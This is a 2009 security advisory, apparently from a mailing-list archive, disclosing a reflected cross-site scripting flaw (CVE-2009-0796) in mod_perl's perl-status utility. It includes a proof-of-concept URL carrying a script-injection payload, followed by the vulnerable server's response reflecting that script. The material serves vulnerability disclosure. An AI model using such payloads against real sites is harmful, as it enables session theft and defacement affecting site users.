<<< Date Index >>>     <<< Thread Index >>>

XSS with mod_perl perl_status utility



Vulnerability found: 28th February 2009

Vendor informed: 1st March 2009

Advisory last updated: 1st March 2009 

Severity: Medium/High

Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)
 
CVE reference: CVE-2009-0796 
BID: 34383

Many thanks to Torsten Foertsch for his kind assistance in fixing the bug.

Description: 

There is a Cross-site Scripting vulnerability on Mod_perl's, perl-status 
utility. The perl-status utility on request displays the current status of the 
Mod_perl server, and some configuration information. Perl-status when 
configured to allow any viewers, presents an information disclosure risk,
Procheckup has found by making a malformed request to perl-status, that 
additionally a vanilla cross site scripting (XSS) attack is possible.


Proof of concept:

Submitting the following string to an unpatched server "server".
http://server:80/perl-status/APR::SockAddr::port/%22%3E%3Cscript%3Ealert(1)%3C/script%3E


The following is returned:-
<p><a 
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?env">Environment</a><br
 />
<a 
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?inc">Loaded 
Modules</a><br />
<a 
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?inh_tree">Inheritance
 Tree</a><br />
<a 
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?isa_tree">ISA
 Tree</a><br />
<a 
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?myconfig">Perl
 Configuration</a><br />
<a 
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?rgysubs">Compiled
 Registry Scripts</a><br />
<a 
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?script">PerlRequire'd
 Files</a><br />
<a 
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?sig">Signal 
Handlers</a><br />
<a 
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?symdump">Symbol
 Table Dump</a><br />
</p></body></html>


An attacker may be able to cause execution of malicious scripting code in the 
browser of a user who clicks on a link or visits a malicious webpage. The 
malicious code would run in the security context of the vulnerable website.

This type of attack can result in non-persistent defacement of the target site, 
or the redirection of confidential information (i.e.: passwords or session IDs) 
to unauthorised third parties.


Fix:


http://perl.apache.org/


Legal:

Copyright 2009 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the Internet 
community for the purpose of alerting them to problems, if and only if, the 
Bulletin is not edited or changed in any way, is attributed to Procheckup, and 
provided such reproduction and/or distribution is performed for non-commercial 
purposes.

Any other use of this information is prohibited. Procheckup is not liable for 
any misuse  of this information by any third party.